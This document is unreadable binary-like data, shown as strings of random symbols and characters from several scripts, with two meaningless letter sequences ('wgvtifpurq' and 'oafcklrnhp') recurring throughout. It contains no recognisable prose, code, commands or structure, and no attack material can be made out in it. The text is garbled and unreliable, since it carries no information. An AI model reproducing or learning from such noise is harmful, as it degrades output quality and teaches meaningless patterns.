R90 }\EN*!fLP57l	A_~*$!]r'b+Ue uz͊m/\]ݜ1Q`sV,) GU09]d*m`VȜSCSw(ir	nV=
7ҏgia[o܃{.iʕj:j\+}*Pr	$!
߫]fPڛU6˃?6D:IX_q;
xGPk(Uq=l{qW"[d'wgvtifpurqĴʗK#rLD
Cw]J	Z++7˦W!՚+}A{01TiלD(y(5W9B($6靚$bK\v[1uT3^}x{%8-3Qdhѡ3L^PQEA?ҀCIe/Idny}oafcklrnhpJ*hx/wgvtifpurq@V6nZz)XQKmWaE-E@I)Sץ^Ð(m?9GoafcklrnhpG[ݘ\qVfO@O"hcc e0&{7\.DF'!YDF IFb߬0	q@𯀏4y9[ѫNQ,a.f.nfE1Y-ڜH-1Xjwgvtifpurq&QK	@eS0.NeQ~z |w'bLoafcklrnhpo$jK 薬vL"-r^wgvtifpurqLEGeh88bfЄcx~
P\MTEg:	[q=)OEl24%q
ۋ\(a8)?b
@2==Ugyt4AB$}HNG4DΉK}9p35ӳĊ`ժP&Rk("1&1!λee盼G&u:ݢ5EQY)`)rr(E^oafcklrnhpĹ(Xӥ ey?%	aL٢7#^#J~
Kww̴`#8bκf}mRAtYԪ``;q7e;74ܯ_S|^sb\X˫g2v77pwgvtifpurqDvK:Moafcklrnhp@{?7 ?3]/3 WpYT$Za)-˿oClQneoafcklrnhpL憋v F"	yc_uy޿hCx*An:#8fwgvtifpurq?
xecī. B)9(u?'!=bL/Րϭ_rxI$%gcrFnLoafcklrnhp{g{3/[BU$\ XTr$8jW(s[Rja;iB^_$/|+@4o{^E˳HeUik%');7@iNЩT-[VyQl˕i y.Vo+7%"l/Gt$:5$G5
#\~IHޑlwkc(Lns`5OJ
d`yS[h9va9|	ދFk:T~ T귬ݾ2]
@\wgvtifpurqGI=&ZwAo1/&0-F`r_xo@za^{},򗺭V_01D#sjIPiZƠr{L3^.UǂZ-_I0U_' y
0Yna押aj~oDwkFe :!$u63|Ot;qc1Ѣ* q4XuTtQ3|og̫!˛DtkBc@ḶI0QQ*ڥÂ1rOD_wvYI0Cl`jyjOY&hYG0`Q-]S~  w'Mig#$W=FK%{j2.ӟۖw\ħ|[f	g?2`o~U3ԩbnQ]eiMH4L}.gVO~'gs$\Lkס)&8	uߤ"*՗XA!||~-c)2Rf\ȣ`jʔλ[83^z
-=~71Ē$EޏO*n6{jb
[MwyyA_S+uhZ78m6wgvtifpurqjwgvtifpurq9g^Q99! H~}膚,; C;*ġ#iW-`|QϻރC8?aݸ8Iitn2wgvtifpurq0_3)V ћx"lwgvtifpurq
ZzҲedNt[U|徟KguR/Ags-HAGTpPԷ׮)u
CU
+1h+?P`gmӧf`*DՄWg]63C^&ˣ*W{}p &㌍~b-M_ }b ha~ʯ`%zzӻ#`ٓf:E-*Oڤ1P~"B乷A^Pb§Ѡ3wgvtifpurq%ȃE:A0wgvtifpurqI$"	-\USI?
T
oafcklrnhpQl͹S"Uk7( Y=g=
_3ݡ,??I5|MpB6J)逷K !WI^ s@Su*CSRhV2L\Ta"myMwgvtifpurqc+hh*\t`yf'PHqoFoM-X9G\~cOy6S~16ތZqƴɹO/ߨ!\b%ø=3o4|_Yʳ$p2%zTtLNsͭt5zߣ70[oafcklrnhpf{`;CSA@kߐQ
E[:]B1 OP!0F&gx&[j2=J%2p	l[u۰UnC%zdjUfLn#[=;oafcklrnhp,mɿ^h+/ϋG['fD=fI+ao	'R|:vm; F:H#M!oafcklrnhp-5/
9`ː]\JnSc~K|t(t#j.F0?]kj^hyc,Xy	z"K*IIZHkJ,
6%WQurLVMPX6lt5tW"#N \.˴h~W[6E\t.g"%_/VڇԦ:fwgvtifpurqǁtut~af6Mۉ`ᛲ3PF6ʊ3O
8.M.}[
nAnO^tp#OF"9GLoc0cN/+iLрHEnaĤ
qgbD@OSx0BbQR|W9xBcOJ#a3
8馳_u  N#kzf
oafcklrnhp"Rw.;jIYtjunawN]c(N6.*VaVoafcklrnhp BO ;k-#@R
111_ѭM%{0?(xǹU_.ՏZ]y
vIA!;Lf!s+t7ԷJyF9	MRG0doafcklrnhp{.2&xp|g`$Ix*,]BެVPo̸d7m̆"sIwgvtifpurqvs}m*HyGO({/__BYڈhmjT,]9|m|'fwgvtifpurqi@jnwgvtifpurqא..3I185g_tj[[]!{5.0Fv-;HZM6! [vf
z9bQuIMd;a-])'JޏTO:94H0{	ό0Uj2kDpg6ĊUC׺;ZYsǸQE:?hBϻeqM;LrPqYd - *@2(t4(-||B551Qy#H{ goafcklrnhp`wo1E.	QMgѱxixI$hQ /Q4S!YIV^zB|ehR69d_%;TfcBzvtM4,)oafcklrnhpyJ
I!qiو+|H=}{[oafcklrnhp7=]~2? :,S )B5U`?Ceg] U3G-}DĪbaoafcklrnhpN@\m_1G6;GJFsH;+ҺW%b:ڳ1;wgvtifpurqZwa=\;J/;S`p3qb-2fJ$*,coafcklrnhp(vQ4]kr,-8-*#uphۺXuE!Hl !wgvtifpurqǌ䫿Wo&MHEj4wgvtifpurq۫Q	,15yw0;q.$Kݏa_S{rE\; v01#]T%iř2Twgvtifpurq&kY8ЄEЗ`9
gwgvtifpurq?kʏ}OywNW0p,~ToL0{-:*wgvtifpurq3.A˔[SGdtBGi!0XȒi»lUqmyU'9r0e !C{yWGxW#®wgvtifpurqKǊ&p5mYf,Rr=oafcklrnhpÚ=j=E4T;ƾ̶0^^%gA (f;reYlLx[z+g~@νк\STjm0q! 5e!a.vSd\q}J#
2Ud[҆h6fC?sS/_ЇuAxaFwdHCEϢfN`^
2dfor:sBTUm
a/MuJɶhH`TqnnU[ݛ0kwgvtifpurqX8:gˆ9QjPEptr3PœZr?^$]ۢ!avQC˃bv &3S,G=-k0aDjxзJٳFo穉f~oafcklrnhp,R=o4]TҜwG;#ƞK';oafcklrnhpÌ fK;SS10:tR^`8(ԏ|~Tmbo6+*92ب28[5oafcklrnhpn`I
ҐOLYQ7-̀h%_ZI1gYoks zBIߊHG5ͨ^je%
ގE	~y+ݞQ[&
Sb#Q'!eZTb:2y.& ~Л\-=/t|4]}s
PA Io\b" )A`8=/{%:M~ӿD#)e\ĮH!N!:^φ(`ɥXa犣;uu$&4c4)@ObC֎$=
ZͅV=|Z
^TV`7yh/w13
R\Z޹GP: ͩd|6L@ۉ(
*l%Mc|͑-|B$!6z 38V/N@u
qϰN&}% eͳ|fH+)O_@u.Gbpiܛ)0b		y	$}oafcklrnhpr4
fh20gT@R8
YR4"F\SFeXl&?Avɴok
6Ɣ;5$٥N+;ٍIk{^[jV,sBY{A7ioafcklrnhpXs1=
+m$tesNGi
sG{wmL_m~8G{;2aFD:ƝoafcklrnhpCtZ?		2wgvtifpurq)$ɺrpFMy_- tqՇN2A[aɍCW:5U%\
, l0@ߘ般-.Gs'2$زPuȑ[qy8
^@C
7^AAkXvpRo?l oafcklrnhpRhK{⪓32OXGOB!^oafcklrnhpMv_zO*{@f6'[Z&hHb׉coafcklrnhpJ2MTT{i3G*LUT{ˏUw%&ЈVr?gOM.|ioafcklrnhp^ V;MƱJCt&lJ.[Ț0~+P3^.ζi:|ȈHoafcklrnhpw&nAi\Ep@j"_)R27Jy:= *,u!Owgvtifpurql.ղ#xhYM5WZx
:A($,Foafcklrnhp,/K8&y.(ˢc,V!k%!q}eLs/g mm5&jO@P=ᄻA*{+UyZSwJ9Cl6fg3&]x3أk1N'Gm(]Z(]e*)k{aRvܳr6Gic;תIF3Kas? NfPU	}ğ{nY\zl*F[F+5Aoafcklrnhp#;|Zn;ZP+@
zjb_a,:AzhP~(cƞAqz?VOn1yVwgvtifpurqy'u^sWoafcklrnhpF/Pd:9.ƇifXePzz(2hgWeff~wC5;a$Uz lWO*/1댒hg@%MbݣSq.[YcS'.\y"5bq|oafcklrnhppmrvTC[jlnk*+}wgvtifpurqRõߠm e	[.zQA,)#/wgvtifpurqIޓOY6o[)^wgvtifpurqwgvtifpurq|[o3hZtF-p0ˎ}
Q[%c?UAOoY.רN.Bhoafcklrnhp5{ ;&1hw+ hx
E)ks7d&#=ʽFU*Co~bl#B=XEK)tcZin@m5ǔn"RwW
y4rywPK}"_-MR
ԌooafcklrnhpT0jyQ&V7
)*E:M=IB`xuKl0)P uja-n*
^4eUn6TD,=;M}ޡtAw3 Nou)QvuٌaZ)oafcklrnhpղpJ?7֔ucѐ!\Bze]r*mlLbpWGwgvtifpurqWX"dc-XRǞ}x" 4oCG긩B*ʯ_zҺ+moЯZf57Uoǥ3:ӺR
21!oafcklrnhpW"Ηp֔v`p&GޒS!kn|CNIkߞxUssΆ[(MŲJ,hE	
Q5:CWׅx3zAB{Ƹo:5/K\y@y%5簍}pgߞ1_MȦxoafcklrnhpb	 v%_}+=G~ropW{~i82@á4((2ʪ#Hʗ@Tݢoafcklrnhp=%`1v)_5ћQJokmra_O5譀8Ѿwgvtifpurq4ٍ7ׯ
 3P_0jSw
Ai\JN1#L6!.CN6nr0847} mP7f15Wsso?df$fDosK( vB_A^=XM
	hm2᳼F=gU	y N	Qșz]Q	=u)֙@"ڂ*F)ǤJv&ZHU&1ܾ߁3Bwu*HEf]3y$4ߤ'+T}Rdw97r^W=fIN;
~i1Nry3ӇTz.mee0HaH
/8(/ʓY D/,꽿-BbYzߟ)9k07n '[K;zyJP`."' s*s
X]W2\uybuڮVgBu4OpmzOe-j
D,]
hSN"{
צ(32N"XT6wgvtifpurquO?{+Wq+OII.x]eAuOy8IDj2x E1LFIgQCզ1:oafcklrnhp=@ד߂jF H	&ƩgvZdv}6afv⭙mCV&C	Vd[='M?l"Y"N.Dޯi/3aJNGŊgT
HD&jzŢMIXٜ(ӓYϧa[wgvtifpurq9 :ڳN(3fڳށ/oafcklrnhpMa)4a8Pfaa-|eQDZ^ȯW'`q g@ZE[y`H,'.~RCo%)%nMGp/
xgp,wgvtifpurqA6_jZ䜋*Ecũjw?yُrŻ܃q;/-Aί;	h!D*|1c0XF\TCF-t=~q
eLl[lLD'Sbboa7a*xwDg!өr
J@b*3#mOg%wgvtifpurq58JXkpt	tMVq\w}oafcklrnhpO+MF2c-!A\W g4
t7!zy^ uFA.tv@bI?!#gtO	pwdwgvtifpurqg@N5dbΠڎ=`/r
7Io^? c]/iKn;wgvtifpurq#\`E$oLTG͟GuJMEo*`sꏲ[ʋ; 9(T)E~U|ױ}?⥯e=`JgE{{WM;"IzM^qYKTSȪe+[nOhͷwgvtifpurq
j'PB 0qwgvtifpurqQ_)ӿ')\hi{iҫ)D\yG)b+Ůp̵  O8B sQ*|2Y{o_t
;aTWϛ{2^n+tXZ2lޘ`]{쿬Aa{oafcklrnhpֈڶ{)ŗQV
i$mwoV}8!ۣg=ۀ()q@I!V@;wgvtifpurq`Z_K7c3zGgXȪN^)@i2l˔ cF{
o9HDuq_s%KѾrnHX8b߶QEZnD(H켞ezW!Ҕ_TE@E",!;~}fMկHB#մeZK(}0n'h*Q Z5	ɀwgvtifpurqrL_MʿDY#P]!a?}[Z's.TZ[o
&~FT=-l?וANo$ݨ0TQTpoj \Sl
JP@

9OϺ4T:~戥!W $n5%ζ!%gB\^,3qBCHM#E 
Ad槃sbr3i.,eCmtq(I+COY=@nwK;bGաFn.ezR(ՆoGRP kwgvtifpurqzQ~`vCwk?2`JSR}"2Q\bu}dŨv4iJxm{%n3(j [hWUq񻮎W.
?,;g% 1,w߅$voEOv~)at^=ò(EhO߾S
۶Bӝ3g}Z@j$)4hka3sSKXG슈WeҔ[`։HvO:tǎ	PFQޒBAQ{CʻP]/,wgvtifpurqݑk9!ٱ勒 1G_X\UTD=yO{?07KGp q3_aS ~Un W%޹ZlutQ',U mBĐ'ɅM`'0C]ҒoF}s;k@oafcklrnhpm;gXFnX@33oȌrĒK#q|Rh^'}ׄ\:@ V\ 	\wdp$'GEoTF1y2夂w!72QPL2ǚw]_;p\w! J}VhfcMM	FJm&.4W.)8lǫpR.֘1G}ݱج+%g; 

Fc6J&j~8p9wgvtifpurq9۝lIX\&?ckDEIQw 華=wgvtifpurq?RΤ
Pb1)0ڔaHy0AR6#"¹Xoafcklrnhp0VrW#?G\7M4=E(r@oafcklrnhpJ6,LowN*D!~Ƹ.9+iM$E!}{}5H' +.`ic[~фj,~s7N	JVЗUiwੁPf`ޝ(
!1c+Z)Ha| d$	0S(}C4"uy$ugĥ',7QUm6Д1MLDNs'Ŝl@eMhYh%|
'('qӽsrvxϡս4[N@IBT'xt,q
H'voZ,ړoafcklrnhp|]2	x!EYR8ZvA_oafcklrnhpVRd+GR׽Kd!ߨ q*॓m#Tv7DNJVCe!tOus^uz^Pb5q2yLY\lpP؋}ny[FN.0)|%Hoafcklrnhp3sg!Z;	r&6j7lZ_)"Ez	p-~*jĆ~U!RǬqtuїtwgvtifpurq'aըSi~Hq%9iMSevQZ`|)t}D+!!u|uu(٢`c&b,!4ƨ~r-+$_( 0LYMe:nUrK(@{/@G+eL"Y*eV41KWƤ:{w_pIYݶ'tecQY("mvktFK8YZ.p*k9oafcklrnhp}_L1zXe aV]SjIޑhȲ!	(m*%
?oafcklrnhp$ٴvù\P{UcS_%;ezQNiwgvtifpurqYWr^+dKGR֖irԳJg#/ԿKln!~@sz7v#WD1XVZ7*/oafcklrnhpzUmƣl׊DdJooafcklrnhphrwS@EgH3¶2Hϡڨ!鑒UKL6Hw_"@(|5|RmxGV+5q#\7= Ύ,5h[o 9C7E1R_	8Lbte3ǢWjPU[r_wJ}U'Ha$TX8S\~Eooafcklrnhp(!V.!9r&FZtRzMʤHpp: wgvtifpurq-ӤRHA)#8}( |JJLQMFyFH :C1OѦ
3`H_r?rյ?}98 ?Ԡ")FQVQfYa8c
^c,B_ݑIke-;gvYyKb+ɛ_Ut] M\Cx|#";	%\7E8
oK72
P9Pf7lZYT8ڮBUc`-J?!*K36-H`/=r
qz_D˘nJ䌷$
&P1ݻLaHJ
h\TRf%"p' ?aV洮c lsJϫªK$-mQaPCk@BΆ{tYwgvtifpurqD6pJo(RF1׊oOy$	CdYk؏=R^Ӣ3rGmL/`"ր/@aZ]_jNud^œ N8,͆|eU_@rObIuU
5@+z[Bv*dhTج"w)&oafcklrnhp=hJM]擠HSckoafcklrnhpiF%\%̝ѰmSzCkV1^jOvy)ڋfÆPd7&NP*D|44'+tڌ]L9AЀ`3|d-#
UKXH*7VDAb9&P+}޹L޿0eQKmkOެ%wUa %E&3?u4y#IۄG{q骁xӄJe{#
qӈ_F	TwV,JeO&l VM6NPn$JAnOeɉ]'TY*پ"$q TeoU_01g~%EÅMjry. IYjIp~w	Pi}PT_eeKYr7zӴ#S2B
w"-e1w&
n\U0@CqX:c5$CO^.v6vCʌ@PY4~m%gYOV)Iz+Pt􀆚$'oGֵt!b7ӏd vvC0H;CNH;7ش2:YGUy!IGpRjhD?_Kn	fѧȖs/f1M1k-_GVF jdK~U@.WuP9")j=wgvtifpurqjgr۩~{[ESOx-.柏I?Ug@{&(nGLoafcklrnhp_~tqg2sB(CjH+ԣi`yb5.IN:`hʕe+hKMQItr&p{tZ9_wgvtifpurq4TfRש#hbS\2[HĬ-"R#@I7~wgvtifpurq^Xk1x]9idV*u{Qgӟ^ݨG.dV.}L.F$
HB:奐sNƼlOIۡkY|4`;\rיmX?j9Tb23
"T%a
jqBe8 )c9ɒqFٺe C+n0wgvtifpurq@뽷K*o1tX[@b&(VHǫLNYdoafcklrnhpQ
Z(8{\RPd
ȓ|9w̷L{A~L1zbX0w$\m̲ϚPF\1&Ϧ}#dypmQRfϒj+eB
~/
!M{:/]2DjPX\[#VX	J
ޞ]熑N	@ũ|]!AV~)4CHhmg uTT*McA뀏u,@] }LI%)K&ƬKfwgvtifpurqjoafcklrnhp	+WQ;'a`~@V[Ԏ|/ƻdl8 0fI	JwfSfT.xz1bv7-'@Zo-^ɀa`K=R(w*jWݧy ˏT=|t֍־xwB-lpD%l1V K꾳ckhĪЧRv6jj:"Ep/?+)gL1ⴉ=NuX5Dnbյoafcklrnhpԉ
R7R?{gKMՌK=j1-druv,S$iJt_=-xD@7e~*2%*.=?|=~[R:?]N
;s0?O03X2(oafcklrnhp_N{K1Xg	1ea6tg}"#
Aa$x;P(oafcklrnhp;80ԪVٹ)vW3\;:%=&.CR/$}JMz	fx'Co[+h	2 XiPԽ2l\\G3T_IE:]悦Yڳ?G@^f-Ʊw;qJ~wgvtifpurq#Qʁ|$Ә4~;?f$Tjz# |ACS!YtQCRo!UѴ,C1cٵ%F&w`"Ah1Y*fY)i崢E$	]jvUo!,&k!驏ǋ7RSޝVeLϐ|FQَaq0iV8Tx~{}Gߚe#7):!6nՑ& /_̆:X.NXC$Zڜ6HSE)I"IA1/";p2?d}cp%o-@⒚6a}xSy17aOٱ毴3Սyv
oafcklrnhp~nR5FM6SB
£n0[A8gsq+NIh?3`fwgvtifpurqO?x'+^y͹&ܙnHz\ݽ8	4lܖAmH
2HYȊtK7%}O:wgvtifpurq	Pv:.2g8㮗}:{X$NlāI
jwgvtifpurqϐQoafcklrnhp1тwUwPY?-TA8#4dՄs0.v 7f lbKt"E:oafcklrnhpH)޽!=9kصE9|)Vz+Goafcklrnhp4YX̗;`3wgvtifpurq:Jk\~~ߙhm)cx"Ք}jGxu兀JOuCxc{fe*2\?,~طoafcklrnhpAnE4 f:|j˸ry"[^O^Q$m{3N2rޕ&庾15`nkU7{+w	tE=Ժ涯ݙ]K8؉CX[ow2y?Y`"R4!es(+oafcklrnhp|ʦY!/Ja3TaKaxd枊N)-T1%_c|[g z фu ġ$"teoafcklrnhppWZܦbhȸ1[ (『'ɭLvøPwgvtifpurqoafcklrnhpXtE$#|8GߘE6Fϐ&l	:	,]
h88 ͜#9fe+Íμi
 zw)LXv^zӻġYCM{y[x^5&E/+.i:pK~rS*z/h̗Z[Ňrb
ՠE*;k!1]ǖ}lODfl'H:y[nˡdʦpJ0KD|t6 x|3:",ƉjX)^P Fz\7~SP@(s4cgᄏ KŧN
(`IH[ҫ^ᢃYNωdwgvtifpurqXHiA5;/Ihg_|o@W~z
;[˿LQEIyF=KA(ƥDk c
EE6
Z&=7oafcklrnhpD /! _!Þ곤*jϤOX
"ń[-IlW2{+lqK,^??/3aM)}H:nevڅgdf+90$dRcm㖱IOY[IoO9.9^ V.JX8]e$
.-můS_OePH OxXmQhp #}ړ(,	yE@_&wgvtifpurqoafcklrnhpC#4Y$K}q@hDP:jwgvtifpurqG\	E6wFt#f(Õ=yW6L=m]C&	uO?T;2-#uP SHYVm$H[
HEq~i6c!wYE9;x{tzPxUjHg(cMM(9JěaBDss;ǉAdoE䦵N7oafcklrnhpڛ9Moafcklrnhpo"vHJZ_;v
1{t{qϙʩqgR1V5̈́t4r _ZX7/%T~}+$`CwgvtifpurqS3wgvtifpurqO}0Kۜ
[yTLl,r)qFIKPb."D
;@=ϭ
:߹Zu8KȬ2'᪝oZoafcklrnhp,jq҂#0&iq
 MmB&:xmKW^zsפs.IK7Y|.\D	i&~d9'N;Itb/ŃZwgvtifpurq*OҼ|(~AQ@)Y"3CT3vVz[_
˸K,"b]4**E+%^W)LkhϷۧoo5o\O}fI#ߠ,4)qUl&0V)Uy&$/sϠ{{5}|k:s5-\Cfjx(dTu(0*N%$*	w '.m#is #J s,O
ٶ!qA eAcrM=fEFXWE.9;-"c K%DzJ}0oafcklrnhpaձP-oafcklrnhp!3qt-=S
TT{%	p漅`mnZT6~X"u	j8Z?%.\QDn6a]A'}	ˣZ	Q,9f|(%d8RMoafcklrnhpǈgªT6}؛(CBM4hQX≳kFlw]ď 2IՊvS
.:ϛ94ٺC.VB)L7^?*$/B6{(|$yVE9i!}c%[`UC"qnn^2oafcklrnhp|Ehc5^_E9&My]bkgvDe=IB?&u
t`xoafcklrnhp3ƓLγ#ާ"
w2Ο14U\v*$cL?UW3el
j|gk؃+

ŉ q-4̃:I~~R姳2oI5"=;/?ѽhtrZ :+b9o͔?	ͦ-/_D87+U;C@1W,
	|rBqJJö,Y^g8Io.$ssdvREz
M?le0MhOu P D
MLE8}wWfmyƚl/MCT*(',~O ^YwYbP^c}h Y{)ioafcklrnhp08oafcklrnhpb]/414?vc%/ذtyƉ7mm8­:(	ٟcRʡ]\@Sk1^[kvbԷ۞V1$|j-/.S$m__.-%LL1wgvtifpurqж$iFT{[inK=vT4oY!$wgvtifpurqa^k"}ӺT'K36H(۱FYldp!bM%3G^&1]-1-N~dxVB̴Yoafcklrnhpr\H,!yB8 ؉
l-(
OV9OܷK~vIH;jFd	\#{O%7zևAunPH`0힦f u8Ǹ+rלn,?mC{19|nF3/MSAZzg9\蓼Q!(В5{:{kƫAsr`1
N(
^$?ݚd!P&)
 Z+Z j%|G1|v8}
fa$_򏉋VO9v{A7|e?T+ހd2Oqwgvtifpurqrdī@*&)CȜA {m!	n9t$0RX^Ĳo	ا;.pD*ڹ&sdnÞ.=Rm+T.GO;,opwgvtifpurq*~%Shwgvtifpurq'@ܞqD9dGA/)vwgvtifpurq`'9p#QD09E3JxרBqy_PWDs	9=*=}##9Q*ȷ"
dyȯRvHwgvtifpurq}Lf&fĴwgvtifpurqWwEl{f]k:7mxU$ԃ`)mnE3!S
GJLlKQ#˰^1ezN .܈1c`pRԎV2/-l Q\F$6;U3 $7!	3l&(,j=`3Hݼbk*Me(یmЮGPBIxGIt&aphs1ڿ!}E:
*C݂UQwl
ʁ9_BEO_}k) ;C`Vڧq].P	{oA4ppY'rS1r7^',n85TUN˅Ȳj	zfUoafcklrnhp̱'wJ8bڇll5Hj-nM؁Ä6XAPIa JXoafcklrnhpxy+Ѫ:2;.W;pw# 3Cr19ʉb=XiH6SqbGc'u.ʉ/Ϋ!kk!T
ЄOH 4Umm@wgvtifpurq~G3_GPwgvtifpurq
vϔj~4w?xQS8g96!|7G!?g]	2lhsE4dVЊQG?.M)|QS+WMsDfh8oafcklrnhp4*SKwzC+Z_Τfcm˯M
i);H6i=y|;5*ED?O-*|47d,feG'?LmP2NpJ|UW*~(|VUeĈ"dTP(ɞ G'AM1_;\hkў7HF`AbXKOA}G݊%:@_uS'AO~hc"aɟNLvS,~B`[
9QMh1fS#ɀcz"Q8"Վ
z_T_2J m|Aug^k?wQFӾBqs?N:݊2LlF
Dó{nɱҾ"coQx؝!7_*947r9Qjs
+ y/kJ٤zL/*($coafcklrnhp?u#4w%]ʳɷA* +S{Kh~A5jG­BfJ£8*Tg]7S=Vdb(wgvtifpurqA'tľuP̳~2܇B\fgS\! :&CE-34Qz7+p/إNWRp9o%.
.YbMB$DMRsrOI4`%Ð k:R&ɬ_ucmΙF՛@Vpp0)!f١8cp՗O_TiPrOT7p&@HpO	JOY?B0Ks-*CN?oafcklrnhp7wgvtifpurqkP9N8}ʖOdؼt8t,˵O~6%JBV:BfݼwT 0j `bj|O|Wp~)v::Vxm!:&5U-qrZeBU'CmKA1`zjon#6yG$urv0fm%
FdE]n
4EÔDCFZ,'4/@b0N
yDY+cXpƉU~4?۔O'[+eo%?]`)'?]jɌN4q\ 2~t()͵#7/iv`jfƨ@U0uVũ!
ώ[jDP8y\)蒜&Zxc	?TowgvtifpurqVtr( p?|]j+,PNCEBz
u~m%Evoafcklrnhpd-{+@*g1J&d=U{7dO5%ڣ+=Ͻ{%GX}-nʶfOoafcklrnhpt5qխ\M=e.Zw^B1;n劸ez1iw@;1,
r5w-
{OGJ
^oafcklrnhp-1u'opĨ&)\3HʍfXMoI6|ki=q3#Gv/P8/'؛ToafcklrnhpМ|(H!W԰mX?dI|lDY|5#pPNͱZCreH!F?l?oafcklrnhp(aE@N|=$6-OzO|&?x5?ODF@8$ĸf$wgvtifpurqT5g+DvCm^mǪ;so/힗twgvtifpurq'Ի@wq$3\5~j&M-CpۘYiauJ#:!P"иE&Uq))'ZE 5Z1HYF%78[tᙘ7_ӃT@Й@R2wgvtifpurq]"v)Aȃ(R8ՍTwjv&Q(oafcklrnhptwgvtifpurq$piT5+L4nàl T&~#{fk4'\׉Kę}A6ŞvHނp E炞~oafcklrnhp!ӽͯ&duQ_)(FرH2\vE]rnc&3+6]/Q9~A@"+,T+6R}ޱ4HfJ'\4f̘9P
PfW4XoafcklrnhpA '#gSkZHMIǊ#u\zoB$[7ϱV26~!M\]/_r

8APʰxcV-Kwgvtifpurqjnzoafcklrnhp)"qqנz-μfXBW+Ja$
Wy+Ub󃔇m
wgvtifpurq/dZ[lؽ[CbCoafcklrnhp8j',+;84IUqEIP*=Br]	S5"w[wgvtifpurq8g+9TB{6Mߋ 
ayWLpy{8ǖF`|Ht{|kRRQZ ^26

&	ӒpW"Ep0i
Iu+#w!ˣb| fdfHuά遈UzBz6Uˎ8"H8OtoafcklrnhpoafcklrnhpImeEgwQQfXf~A{.Sx"3Eʺzۜ{unM0ޠ|IaCNl=R?oafcklrnhpo
8uS*fJ9uck_ߦ!fO2]gæm)Ka%."wgvtifpurqWCmyG$&qoc-[B-Q7X=J
X
kOױK~&6?쇚|ff)8PjaPV( 9srqޱB&'-@Td;-[9 q,cX JfRM+ǵVJ78QRIEᱎ)Tnr_+Rbz{ReLq
%,4oafcklrnhpwgvtifpurq,܇wgwD立R5pNHkN(ͱ.:-jTh2A4JP8rB7*'oGI 2*AD1'	H7DƴKoafcklrnhppNh:Nu+0?a&gM,9/|5%wgvtifpurq%zsCwgvtifpurqCp%kK_)O\Ҏ.jVp[G4
^t:I&NWTPKs]z@_wgvtifpurqGj	ԉ;~2;fE?OJYr`coafcklrnhph/f= .ܧ+?v4xwgvtifpurqtwcV*vSuq̵u}Cފ@ףtޗv4wyŒc+]& B9~ʗIxFi9Q!'.o&LP3vX㱟FVTpzK;Z!CsztX͊K\")MIO{-oafcklrnhp%u27jɬ
W|	;ې'zfI/C	BNd0g{_ewBy;E/|y|pXQItYګ,]pIF*'}HAF'lv9ݮqZ+s|'nh^V +Rzjv8z@-qEeD%~ĩ+d[ Gԭ_I[B%yG.mZs[3DcO2ΙOVId=e+oafcklrnhps;6	(-?hp :"DHjybRE -F*mKqыhN\1:#* NlFn9e{,
cx˨R"@x}޵foafcklrnhpSwgvtifpurqB_wH)ZsJu6}W	ׇr~pS!KHoafcklrnhp:ղ	k'n: /]Bfl31.7Nwgvtifpurqnvb\V*R]Nq4Q-(#1i4d=Swgvtifpurq]{\
~PHQZUʬPiuREG1㧓#3ik9?oafcklrnhp:MFyGL	U)~ ߇#*i/q%)0WgB.ɧ{+1~x7dh̑vFrmy&:9^ǻ:.+:{*G(vu(_ۛ4!TYJۤF&?
WoD f/Gwgvtifpurq:@RHL(!8,I232^X:_ I,K엗H-v,(JGa)DJXkzF{pB/dM,[?`赴¦-wgvtifpurqfJjoafcklrnhpm@-wm8 ZAo{ 9N¸l^-\%6|-a~Z5˼lYO* Ty3Hwکh)kQhezKy⒈҄(wgvtifpurqft iY-yS!-D&mIO 7pYF\ERYg8ƺ"F?x2PJ\_v[(ӰD FS0Wi2׶Fi@~LhYUHIՇ~WݪOzGī+H`s
unO+3uoafcklrnhpUoC,
ϕ`?xHa!-~H[w
9ձ/
;i9П_ORy}3z]*WDC$?KdJtur(Xѡč(]gTݸg?P htwgvtifpurqW2L׬*Ck4fsxp5.v{b.xR*@68/aۭ* Ń:@JHE&ivYDԂn;@8ӵ2c\ܡ`0LF C~fL*)T}'XA-/T4;&^ 4+eUk	@0h՘Xߎ,mW9mlY8L#	OHoYqNr6(]˨+oafcklrnhp=GB+z}QM R-̅.uSÄR p)fҕou%'#Y&/t-J6 ʬ06QDA[Ӷ"oafcklrnhpGU+H=}J#'Ѩ-
ߏxG+
S\ #!~	wgvtifpurqzބ V%%7򛋌 Hn7	V5Iq8/dU{E4ƟlE[!(Rd}^@WNSHZdUUq,jguD(^v}n0#Zzh?iҹ}1riaC()A헦R7Vk˴gI%$A
7B)6Pwgvtifpurq?䒖|ӁU˨-EejlيH*P80Z$ǎ;ZV&*EFB h! S I MD4*(WhY!2~5"C,3$6,x5|KjR`Dpp0
zqPzwgvtifpurqJ41EԜFOF	&?~r+ZP[Ƣrwgvtifpurq9s|KiG:5_vn@4Rȹb%#߸%=~\Uy|.^,uV9׏NmNYS@0m
	FCܬS
ĨY+xEXer'ȿqTHy3*Mv)bMC/rfB	ٿ\,oafcklrnhpk*_#V3oafcklrnhpoafcklrnhpd^E~@Foafcklrnhpl}Ge:+ {Fu*eg^;/	j!r%.,45IE
%jYE#YBF^ 40ʛ_aQ5dˌIzbQ1qP.wgvtifpurqOu
-HLK;RTq
U1 dt	Jvisq
+!4dxT%e4_Q'/ .aΝ\7ɕZ
(\oF`3.t S8f5\ySvPW]m-&fW򐘚U=bcbwgvtifpurqnYdf0/J*IwgvtifpurqjI|NnXzYf,Rve1LjW3dBj뇽,@4M'8s`
H[
$͋ iLYvxB9d{	8$GUoZrUaO:T})ЁaW}
a,6ջ,CXHrUXTyQj%Tr+n\-'+(K*Kkp|˽Mj'Uo	1KChڠ7-*#P*Yٔx}Rg:soafcklrnhp
$0g}tBĺ3J:P ,8f; &yJN*+I^Yz%=涊MJ{_Yu|ilL_zW1 |+McasxJwgvtifpurq9T;Wz$U))SeaP7t]ed5K]
#8]3,Y^F҈srYTb*D,cit⎖RZRwmZwb?ଧwgvtifpurqhA&1!L殙-w|^57ᇺ{;VD%ig\Stwgvtifpurq4
&W)
ٓ(=7tp}3BLlĠbwcBe|xw{W֛|p"9ԂLI.;aRN
p~rQׄ
9
\a̷K@/(Nb,?kFDk5Bvzxi# Aj$H^
n[J)f
'SCK,uMϷAwQt~}SqHt6Rgs.5-w
yMUֻ_5:Ėl~7-hpaoafcklrnhpČFl(/{w|
@XoafcklrnhpE7voafcklrnhp2 xB{Ojkbui+
G#*{׏s]Pk9\0FZ7(uL@ L}#"*+LEP*upַ6

Ԉ%Qi76MW]GL7]ߵUSHO\zRܞ2G8ow%8j
u#wgvtifpurqRf=+*wgvtifpurq)sj
